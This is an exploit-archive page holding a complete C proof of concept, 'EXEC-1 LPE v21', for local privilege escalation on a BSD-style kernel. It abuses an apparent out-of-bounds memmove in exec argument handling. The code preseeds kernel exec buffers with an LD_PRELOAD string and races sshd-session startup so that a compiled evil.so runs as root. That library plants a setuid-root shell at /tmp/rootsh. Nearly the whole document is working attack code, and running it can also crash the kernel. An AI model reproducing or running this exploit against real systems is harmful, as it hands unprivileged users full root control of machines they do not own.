5465 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / exec1_lpe21.c C
/*
 * EXEC-1 LPE v21 — LD_PRELOAD injection via exec_map OOB
 *
 * Bug: kern_exec.c:1624 — memmove OOB in exec_args_adjust_args
 *   memmove(begin_argv + extend, begin_argv + consume,
 *           endp - begin_argv + consume);
 *   Should be: endp - begin_argv - consume (operator precedence bug)
 *
 * Attack: corrupt sshd-session's exec_map env strings to inject
 * LD_PRELOAD=/tmp/evil.so. sshd-session is exec'd by root sshd
 * with issetugid()=0 (no suid transition), so LD_PRELOAD works
 * and our constructor runs as uid=0/euid=0.
 *
 * The OOB memmove copies 2024 bytes from offset D=265166 of
 * the KVA-adjacent exec_map entry to offset 0 of that same entry.
 * We preseed entries with our payload at offset D. When sshd-session
 * reuses a preseeded entry, offset D retains our stale payload
 * (normal execs only write ~155 bytes, never reaching offset D).
 *
 * Architecture (all unprivileged, no helpers):
 *   1. Preseed all exec_map entries with LD_PRELOAD payload at D
 *   2. SSH poker → sshd fork+exec sshd-session (root, grabs entry)
 *   3. Trigger pinned to CPU 0 → memmove OOB → corrupt entry K+1
 *   4. If K+1 = sshd-session in exec window → LD_PRELOAD injected
 *   5. evil.so constructor → suid root shell at /tmp/rootsh
 *
 * Panic: entry[31] OOB reads past exec_map boundary → page fault.
 * DPCPU pinning on CPU 0 means same entry K every trigger.
 * P(K=31) = 1/32 = 3.1% on first trigger only. If survived, safe.
 */

#include <sys/types.h>
#include <sys/cpuset.h>
#include <sys/mman.h>
#include <sys/socket.h>
#include <sys/wait.h>
#include <sys/sysctl.h>
#include <sys/stat.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <errno.h>
#include <fcntl.h>
#include <signal.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <time.h>

#define ENTRY_SIZE    528384
#define SCRIPT        "/tmp/e21.sh"
#define SSHD_SESSION  "/usr/libexec/sshd-session"
#define EVIL_SO       "/tmp/evil.so"
#define EVIL_SRC      "/tmp/evil.c"
#define GOT_ROOT      "/tmp/GOT_ROOT"

#define ARGV0_LEN     265185
#define NUM_DUMMY_ENV 30
#define SSH_PORT      22

static volatile int g_running = 1;
static int g_ncpus, g_nentries;
static int g_extend, g_D, g_oob;
static char *g_trigger_argv0;
static char *g_preseed_pad;

static void
handle_sig(int s)
{
	g_running = 0;
}

static void *
wired_alloc(size_t size)
{
	void *p = mmap(NULL, size, PROT_READ | PROT_WRITE,
	    MAP_ANON | MAP_PRIVATE, -1, 0);
	if (p == MAP_FAILED) {
		perror("mmap");
		exit(1);
	}
	memset(p, 0, size);
	if (mlock(p, size) != 0)
		perror("mlock (non-fatal)");
	return p;
}

static void
create_script(void)
{
	int fd = open(SCRIPT, O_WRONLY | O_CREAT | O_TRUNC, 0755);
	if (fd < 0) {
		perror("create script");
		exit(1);
	}
	write(fd, "#!/bin/sh\nexit 0\n", 17);
	close(fd);
}

static void
create_evil_so(void)
{
	int fd = open(EVIL_SRC, O_WRONLY | O_CREAT | O_TRUNC, 0644);
	if (fd < 0) {
		perror("evil.c");
		exit(1);
	}

	const char *src =
	    "#include <unistd.h>\n"
	    "#include <fcntl.h>\n"
	    "#include <stdio.h>\n"
	    "#include <sys/stat.h>\n"
	    "\n"
	    "__attribute__((constructor))\n"
	    "static void pwn(void) {\n"
	    "    if (getuid() != 0 && geteuid() != 0) return;\n"
	    "    if (access(\"/tmp/GOT_ROOT\", F_OK) == 0) return;\n"
	    "    char buf[8192];\n"
	    "    ssize_t n;\n"
	    "    int s = open(\"/bin/sh\", O_RDONLY);\n"
	    "    int d = open(\"/tmp/rootsh\", O_WRONLY|O_CREAT|O_TRUNC, 0755);\n"
	    "    if (s >= 0 && d >= 0)\n"
	    "        while ((n = read(s, buf, sizeof(buf))) > 0)\n"
	    "            write(d, buf, n);\n"
	    "    if (s >= 0) close(s);\n"
	    "    if (d >= 0) close(d);\n"
	    "    chown(\"/tmp/rootsh\", 0, 0);\n"
	    "    chmod(\"/tmp/rootsh\", 04755);\n"
	    "    d = open(\"/tmp/GOT_ROOT\", O_WRONLY|O_CREAT|O_TRUNC, 0644);\n"
	    "    if (d >= 0) {\n"
	    "        dprintf(d, \"uid=%d euid=%d pid=%d\\n\",\n"
	    "            getuid(), geteuid(), getpid());\n"
	    "        close(d);\n"
	    "    }\n"
	    "}\n";

	write(fd, src, strlen(src));
	close(fd);

	unlink(EVIL_SO);

	char cmd[256];
	snprintf(cmd, sizeof(cmd),
	    "cc -shared -fPIC -o %s %s 2>&1", EVIL_SO, EVIL_SRC);
	if (system(cmd) != 0) {
		fprintf(stderr, "Failed to compile %s\n", EVIL_SO);
		exit(1);
	}
	chmod(EVIL_SO, 0755);
}

static void
build_preseed(void)
{
	if (g_D < 30) {
		fprintf(stderr, "D=%d too small for preseed\n", g_D);
		exit(1);
	}
}

/*
 * Preseed env uses MANY medium-sized padding strings instead of one
 * huge string. This forces ~2600 copyin iterations (~5ms per exec),
 * guaranteeing kernel preemption and enabling concurrent execs on
 * the same CPU. Without this, DPCPU absorbs all entries and only
 * 4 out of 32 entries get preseeded.
 */
#define PAD_STR_LEN   100
#define PAD_CHAR_LEN  (PAD_STR_LEN - 1)

static char g_pad_str[PAD_STR_LEN];
static char g_pad_str_last[PAD_STR_LEN];
static char g_dummy_envs[NUM_DUMMY_ENV][8];
static int g_num_pad_strings;
static int g_last_pad_len;
static char **g_preseed_envp;

static void
build_preseed_envp(void)
{
	int pad_total = g_D - 19;

	g_num_pad_strings = pad_total / PAD_STR_LEN;
	g_last_pad_len = pad_total - g_num_pad_strings * PAD_STR_LEN;

	int total_envp = g_num_pad_strings + (g_last_pad_len > 0 ? 1 : 0)
	    + 5 + NUM_DUMMY_ENV + 1;

	g_preseed_envp = wired_alloc(total_envp * sizeof(char *));

	g_pad_str[0] = 'P';
	g_pad_str[1] = '=';
	memset(g_pad_str + 2, 'A', PAD_CHAR_LEN - 2);
	g_pad_str[PAD_CHAR_LEN] = '\0';

	if (g_last_pad_len > 0) {
		g_pad_str_last[0] = 'Q';
		g_pad_str_last[1] = '=';
		memset(g_pad_str_last + 2, 'A', g_last_pad_len - 3);
		g_pad_str_last[g_last_pad_len - 1] = '\0';
	}

	int idx = 0;

	for (int i = 0; i < g_num_pad_strings; i++)
		g_preseed_envp[idx++] = g_pad_str;
	if (g_last_pad_len > 0)
		g_preseed_envp[idx++] = g_pad_str_last;

	g_preseed_envp[idx++] = SSHD_SESSION;
	g_preseed_envp[idx++] = SSHD_SESSION;
	g_preseed_envp[idx++] = "-R";
	g_preseed_envp[idx++] = "LD_PRELOAD=" EVIL_SO;

	for (int i = 0; i < NUM_DUMMY_ENV; i++) {
		snprintf(g_dummy_envs[i], sizeof(g_dummy_envs[i]),
		    "X=%02d", i + 1);
		g_preseed_envp[idx++] = g_dummy_envs[i];
	}
	g_preseed_envp[idx] = NULL;

	int payload_bytes = 0;
	for (int i = g_num_pad_strings + (g_last_pad_len > 0 ? 1 : 0);
	    g_preseed_envp[i] != NULL; i++)
		payload_bytes += strlen(g_preseed_envp[i]) + 1;

	printf("[*] Preseed: %d env entries (%d pad + %d payload)\n",
	    idx, g_num_pad_strings + (g_last_pad_len > 0 ? 1 : 0),
	    5 + NUM_DUMMY_ENV);
	printf("[*] Copyin iterations: ~%d (est ~%dms per exec)\n",
	    idx, idx * 3 / 1000);
	printf("[*] Payload: %d bytes at D=%d (OOB=%d, margin=%d)\n",
	    payload_bytes, g_D, g_oob, g_oob - payload_bytes);
}

/*
 * Preseed all entries using pipe-synchronized concurrent execs.
 *
 * Problem: DPCPU cache (1 entry per CPU) means sequential execs
 * on the same CPU always reuse the same entry. The other 28 entries
 * on the freelist never get preseeded.
 *
 * Solution: fork N+ncpus children, all blocked on a pipe. Release
 * them simultaneously. On each CPU, the first child gets DPCPU,
 * the rest contend for the freelist. All 32 entries get used.
 */
static void
preseed_all(void)
{
	int sync_pipe[2];
	if (pipe(sync_pipe) != 0) {
		perror("preseed pipe");
		return;
	}

	int batch = g_nentries + g_ncpus;
	pid_t pids[64];
	int n = 0;

	for (int i = 0; i < batch; i++) {
		pid_t p = fork();
		if (p == 0) {
			close(sync_pipe[1]);
			char b;
			read(sync_pipe[0], &b, 1);
			close(sync_pipe[0]);
			cpuset_t mask;
			CPU_ZERO(&mask);
			CPU_SET(i % g_ncpus, &mask);
			cpuset_setaffinity(CPU_LEVEL_WHICH,
			    CPU_WHICH_PID, -1, sizeof(mask), &mask);
			char *argv[] = { "true", NULL };
			execve("/usr/bin/true", argv, g_preseed_envp);
			_exit(99);
		}
		if (p > 0)
			pids[n++] = p;
	}

	usleep(50000);
	close(sync_pipe[1]);
	close(sync_pipe[0]);

	int st;
	for (int i = 0; i < n; i++)
		waitpid(pids[i], &st, 0);
}

/*
 * Continuous preseeder: periodically re-preseed entries on CPUs 1-3.
 * Uses concurrent execs to also hit freelist entries.
 * Avoids CPU 0 to keep the trigger's DPCPU entry stable.
 */
static void
preseeder_loop(void)
{
	while (g_running) {
		int sync_pipe[2];
		if (pipe(sync_pipe) != 0) {
			usleep(1000000);
			continue;
		}

		int per_cpu = g_nentries / g_ncpus + 1;
		pid_t pids[64];
		int n = 0;

		for (int cpu = 1; cpu < g_ncpus; cpu++) {
			for (int j = 0; j < per_cpu && n < 60; j++) {
				pid_t p = fork();
				if (p == 0) {
					close(sync_pipe[1]);
					char b;
					read(sync_pipe[0], &b, 1);
					close(sync_pipe[0]);
					cpuset_t mask;
					CPU_ZERO(&mask);
					CPU_SET(cpu, &mask);
					cpuset_setaffinity(CPU_LEVEL_WHICH,
					    CPU_WHICH_PID, -1,
					    sizeof(mask), &mask);
					char *argv[] = { "true", NULL };
					execve("/usr/bin/true", argv,
					    g_preseed_envp);
					_exit(99);
				}
				if (p > 0)
					pids[n++] = p;
			}
		}

		usleep(20000);
		close(sync_pipe[1]);
		close(sync_pipe[0]);

		int st;
		for (int i = 0; i < n; i++)
			waitpid(pids[i], &st, 0);

		usleep(500000);
	}
}

static void
ssh_poker_loop(void)
{
	struct sockaddr_in sa;
	memset(&sa, 0, sizeof(sa));
	sa.sin_family = AF_INET;
	sa.sin_port = htons(SSH_PORT);
	sa.sin_addr.s_addr = htonl(INADDR_LOOPBACK);

	while (g_running) {
		int fd = socket(AF_INET, SOCK_STREAM, 0);
		if (fd < 0) {
			usleep(10000);
			continue;
		}

		if (connect(fd, (struct sockaddr *)&sa, sizeof(sa)) == 0) {
			usleep(200);
		}
		close(fd);
		usleep(200);
	}
}

static void
mem_churn_loop(int mb)
{
	size_t sz = (size_t)mb * 1024 * 1024;
	char *region = mmap(NULL, sz, PROT_READ | PROT_WRITE,
	    MAP_ANON | MAP_PRIVATE, -1, 0);
	if (region == MAP_FAILED) {
		perror("mem_churn mmap");
		_exit(1);
	}

	while (g_running) {
		for (size_t i = 0; i < sz && g_running; i += 4096)
			region[i] = (char)(i >> 12);
		usleep(1000);
	}
	munmap(region, sz);
}

static int
check_root(void)
{
	if (access(GOT_ROOT, F_OK) == 0) {
		printf("\n[!!!] ROOT OBTAINED!\n");
		FILE *f = fopen(GOT_ROOT, "r");
		if (f) {
			char buf[256];
			while (fgets(buf, sizeof(buf), f))
				printf("  %s", buf);
			fclose(f);
		}
		printf("[!!!] Root shell: /tmp/rootsh -p\n");
		fflush(stdout);
		return 1;
	}
	return 0;
}

int
main(int argc, char **argv)
{
	int rounds = 10000;
	int mem_mb = 0;

	if (argc > 1)
		rounds = atoi(argv[1]);
	if (argc > 2)
		mem_mb = atoi(argv[2]);

	if (check_root())
		return 0;

	/* Calculate OOB parameters */
	int script_fname_len = strlen(SCRIPT) + 1;
	int interp_len = strlen("/bin/sh") + 1;
	g_extend = interp_len + script_fname_len;
	int consume = ARGV0_LEN + 1;
	g_D = consume - g_extend;

	/*
	 * OOB = dst_end + 1 - ENTRY_SIZE
	 * dst starts at buf + script_fname_len + extend
	 * dst length = endp - begin_argv + consume
	 *            = (consume + env_len) + consume
	 *            = 2*consume + env_len
	 * where env_len = strlen("T=1") + 1 = 4
	 *
	 * dst_end + 1 = script_fname_len + extend + 2*consume + 4
	 */
	g_oob = script_fname_len + g_extend + 2 * consume + 4 - ENTRY_SIZE;

	size_t len = sizeof(g_ncpus);
	sysctlbyname("hw.ncpu", &g_ncpus, &len, NULL, 0);
	g_nentries = 8 * g_ncpus;

	printf("=== EXEC-1 LPE v21: LD_PRELOAD injection ===\n");
	printf("N=%d entries, OOB=%d bytes, D=%d\n",
	    g_nentries, g_oob, g_D);
	printf("Target: %s via LD_PRELOAD=%s\n", SSHD_SESSION, EVIL_SO);
	printf("Rounds: %d, mem_churn: %dMB\n", rounds, mem_mb);
	printf("P(panic first trigger) = 1/%d = %.1f%%\n",
	    g_nentries, 100.0 / g_nentries);
	fflush(stdout);

	if (g_oob <= 0) {
		fprintf(stderr, "[!] OOB=%d too small\n", g_oob);
		return 1;
	}
	if (g_oob < 100) {
		fprintf(stderr, "[!] OOB=%d dangerously small\n", g_oob);
	}

	signal(SIGTERM, handle_sig);
	signal(SIGINT, handle_sig);

	/* Create trigger script and evil.so */
	create_script();
	create_evil_so();

	/* Allocate and wire trigger argv[0] */
	g_trigger_argv0 = wired_alloc(ARGV0_LEN + 1);
	memset(g_trigger_argv0, 'A', ARGV0_LEN);
	g_trigger_argv0[ARGV0_LEN] = '\0';

	/* Build preseed env layout */
	build_preseed();
	build_preseed_envp();

	/* Initial preseed — fill all entries twice */
	printf("[*] Preseeding all %d entries...\n", g_nentries);
	fflush(stdout);
	preseed_all();
	preseed_all();
	printf("[*] Preseed complete\n");

	/* Fork background workers */
	pid_t poker_pid = fork();
	if (poker_pid == 0) {
		signal(SIGTERM, handle_sig);
		signal(SIGINT, handle_sig);
		ssh_poker_loop();
		_exit(0);
	}

	pid_t preseeder_pid = fork();
	if (preseeder_pid == 0) {
		signal(SIGTERM, handle_sig);
		signal(SIGINT, handle_sig);
		preseeder_loop();
		_exit(0);
	}

	pid_t churn_pid = fork();
	if (churn_pid == 0) {
		signal(SIGTERM, handle_sig);
		signal(SIGINT, handle_sig);
		mem_churn_loop(mem_mb);
		_exit(0);
	}

	printf("[*] Workers: poker=%d preseeder=%d churn=%d\n",
	    (int)poker_pid, (int)preseeder_pid, (int)churn_pid);
	fflush(stdout);

	/* Pin trigger to CPU 0 */
	cpuset_t mask;
	CPU_ZERO(&mask);
	CPU_SET(0, &mask);
	cpuset_setaffinity(CPU_LEVEL_WHICH, CPU_WHICH_PID,
	    -1, sizeof(mask), &mask);

	printf("[*] Trigger pinned to CPU 0. Starting in 2s...\n");
	fflush(stdout);
	sleep(2);

	time_t start = time(NULL);

	for (int r = 0; r < rounds && g_running; r++) {
		pid_t tpid = fork();
		if (tpid == 0) {
			char *t_argv[] = { g_trigger_argv0, NULL };
			char *t_envp[] = { "T=1", NULL };
			execve(SCRIPT, t_argv, t_envp);
			_exit(1);
		}
		if (tpid > 0) {
			int st;
			waitpid(tpid, &st, 0);
		}

		if (r % 5 == 0) {
			if (check_root()) {
				printf("\n=== ROOT at round %d (%lds) ===\n",
				    r, (long)(time(NULL) - start));
				fflush(stdout);
				break;
			}
		}

		if (r % 200 == 0) {
			printf("[*] r=%d/%d (%lds)\n",
			    r, rounds, (long)(time(NULL) - start));
			fflush(stdout);
		}

		usleep(500);
	}

	/* Cleanup */
	g_running = 0;
	if (poker_pid > 0)
		kill(poker_pid, SIGTERM);
	if (preseeder_pid > 0)
		kill(preseeder_pid, SIGTERM);
	if (churn_pid > 0)
		kill(churn_pid, SIGTERM);

	int st;
	if (poker_pid > 0)
		waitpid(poker_pid, &st, 0);
	if (preseeder_pid > 0)
		waitpid(preseeder_pid, &st, 0);
	if (churn_pid > 0)
		waitpid(churn_pid, &st, 0);

	if (!check_root()) {
		printf("\n[*] %d rounds (%lds), no root\n",
		    rounds, (long)(time(NULL) - start));
	}

	fflush(stdout);
	return check_root() ? 0 : 1;
}